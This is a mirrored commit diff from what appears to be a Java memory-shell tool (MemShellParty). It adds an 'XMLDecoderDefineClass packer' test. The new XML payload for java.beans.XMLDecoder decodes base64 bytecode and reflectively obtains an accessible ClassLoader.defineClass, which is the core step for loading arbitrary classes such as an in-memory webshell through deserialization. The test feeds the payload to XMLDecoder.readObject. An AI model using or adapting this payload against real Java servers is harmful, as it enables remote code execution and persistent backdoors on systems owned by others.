mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
feat: support XMLDecoderDefineClass packer
This commit is contained in:
@@ -2,7 +2,6 @@ import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.beans.XMLDecoder;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -32,8 +31,25 @@ class XmlDecoderServletTest {
|
||||
" </void>\n" +
|
||||
" </object>\n" +
|
||||
"</java>";
|
||||
String xml2 = "<java>\n" +
|
||||
" <object class=\"javax.xml.bind.DatatypeConverter\" method=\"parseBase64Binary\" id=\"byteCode\">\n" +
|
||||
" <string>aGVsbG8K></string>\n" +
|
||||
" </object>\n" +
|
||||
" <class id=\"classLoaderClazz\">java.lang.ClassLoader</class>\n" +
|
||||
" <void idref=\"classLoaderClazz\">\n" +
|
||||
" <void method=\"getDeclaredMethod\" id=\"defineClass\">\n" +
|
||||
" <string>defineClass</string>\n" +
|
||||
" <array class=\"java.lang.Class\" length=\"3\">\n" +
|
||||
" <void index=\"0\"><class>[B</class></void>\n" +
|
||||
" <void index=\"1\"><class>int</class></void>\n" +
|
||||
" <void index=\"2\"><class>int</class></void>\n" +
|
||||
" </array>\n" +
|
||||
" <void method=\"setAccessible\"><boolean>true</boolean></void>\n" +
|
||||
" </void>\n" +
|
||||
" </void>\n" +
|
||||
"</java>";
|
||||
try {
|
||||
ByteArrayInputStream inputStream = new ByteArrayInputStream(xml1.getBytes());
|
||||
ByteArrayInputStream inputStream = new ByteArrayInputStream(xml2.getBytes());
|
||||
XMLDecoder xmlDecoder = new XMLDecoder(inputStream);
|
||||
xmlDecoder.readObject();
|
||||
xmlDecoder.close();
|
||||
|
||||
Reference in New Issue
Block a user